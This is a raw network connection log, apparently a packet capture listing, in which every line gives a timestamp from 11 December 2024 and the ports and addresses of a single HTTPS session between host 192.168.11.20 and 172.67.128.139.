Dec 11, 2024 12:45:40.007016897 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.007030010 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.007066011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.007163048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.007291079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.008750916 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.008778095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.008990049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.008990049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.009054899 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.009073019 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.009269953 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.010541916 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.010581970 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.010761023 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.010780096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.010826111 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.010943890 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.012466908 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.012502909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.012670040 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.012687922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.012764931 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.012862921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.014674902 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.014710903 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.015311003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.015311003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.015330076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.015557051 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.016839981 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.016874075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.017214060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.017237902 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.017513037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.019020081 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.019052982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.019330025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.019356012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.019423962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.019521952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.020723104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.020755053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.020941973 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.020962954 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.021121979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.021121979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.022690058 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.022726059 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.022983074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.022983074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.023005962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.023175001 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.023366928 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.025484085 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.025523901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.025763988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.025784969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.025810957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.025932074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.027079105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.027112007 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.027311087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.027328014 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.027409077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.027507067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.028990984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.029023886 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.029207945 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.029227018 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.029261112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.029407978 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.031789064 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.031822920 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.032089949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.032109976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.032238007 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.033809900 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.033843994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.034147024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.034147024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.034187078 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.034529924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.035731077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.035764933 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.035932064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.035979986 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.035991907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.036031961 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.036190033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.036576033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.036869049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.036917925 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.235771894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.235781908 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.235958099 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.236004114 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.236004114 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.236011028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.236100912 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.236244917 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.237756014 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.237766027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.237950087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.237957001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.238121033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.238197088 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.239712954 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.239722013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.239937067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.239943027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.240056992 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.240160942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.241899967 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.241909027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.242110968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.242116928 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.242273092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.243619919 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.243628025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.243810892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.243817091 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.243926048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.244138956 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.246028900 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.246037006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.246359110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.246364117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.246674061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.247965097 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.247973919 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.248116970 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.248259068 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.248264074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.248415947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.249938965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.249947071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.250142097 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.250144958 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.250241995 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.250339985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.251807928 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.251816034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.252799034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.252803087 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.253057003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.253962040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.253969908 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.254221916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.254228115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.254270077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.254422903 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.256299973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.256309032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.256566048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.256571054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.256612062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.256788015 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.258115053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.258124113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.258292913 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.258347034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.258349895 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.258488894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.259099960 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.259242058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.259310007 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.259313107 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.261879921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.261888027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.262403965 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.262403965 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.262408972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.263951063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.263958931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.264899969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.264904022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.264977932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.265822887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.265830994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.265945911 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.265949965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.266043901 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.266150951 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.268202066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.268209934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.268388033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.268487930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.268491030 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.270126104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.270136118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.270266056 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.270272017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.270360947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.272186995 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.272195101 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.272387981 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.272392035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.272491932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.274111032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.274121046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.274219990 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.274226904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.274324894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.275497913 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.276539087 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.276546955 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.276768923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.276772976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.277132988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.278367996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.278376102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.278577089 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.278580904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.278640985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.280388117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.280397892 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.280514002 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.280517101 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.280601978 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.280746937 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.281217098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.281409979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.333368063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.476774931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.476785898 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.476933956 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.477067947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.477075100 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.477232933 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.478838921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.478849888 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.479039907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.479044914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.479104042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.479366064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.480654001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.480664015 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.480951071 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.480953932 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.481132984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.482656956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.482666969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.482806921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.482861996 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.482865095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.482954025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.483031034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.484585047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.484596014 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.484770060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.484877110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.484879971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.485045910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.487102032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.487112045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.487307072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.487309933 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.487390041 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.487541914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.488887072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.488895893 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.489150047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.489150047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.489155054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.489342928 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.489533901 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.490958929 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.490968943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.491166115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.491169930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.491234064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.491507053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.492881060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.492891073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.493041039 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.493103027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.493105888 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.493151903 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.493274927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.494844913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.494856119 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.495029926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.495131016 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.495134115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.495356083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.497248888 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.497260094 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.497409105 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.497461081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.497464895 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.497551918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.497746944 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.499372959 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.499382973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.499603033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.499608040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.499670982 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.499836922 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.501334906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.501346111 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.501491070 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.501555920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.501559019 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.501647949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.501866102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.501949072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.502233028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.503920078 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.503928900 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.504117966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.504122019 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.504182100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.504443884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.506396055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.506405115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.506652117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.506655931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.506874084 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.508259058 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.508270025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.508404016 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.508549929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.508554935 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.508754969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.510194063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.510206938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.510358095 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.511024952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.511024952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.511029005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.511219978 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.512167931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.512176991 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.512310982 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.512463093 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.512466908 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.512629032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.514107943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.514116049 CET	443	49763	172.67.128.139	192.168.11.20
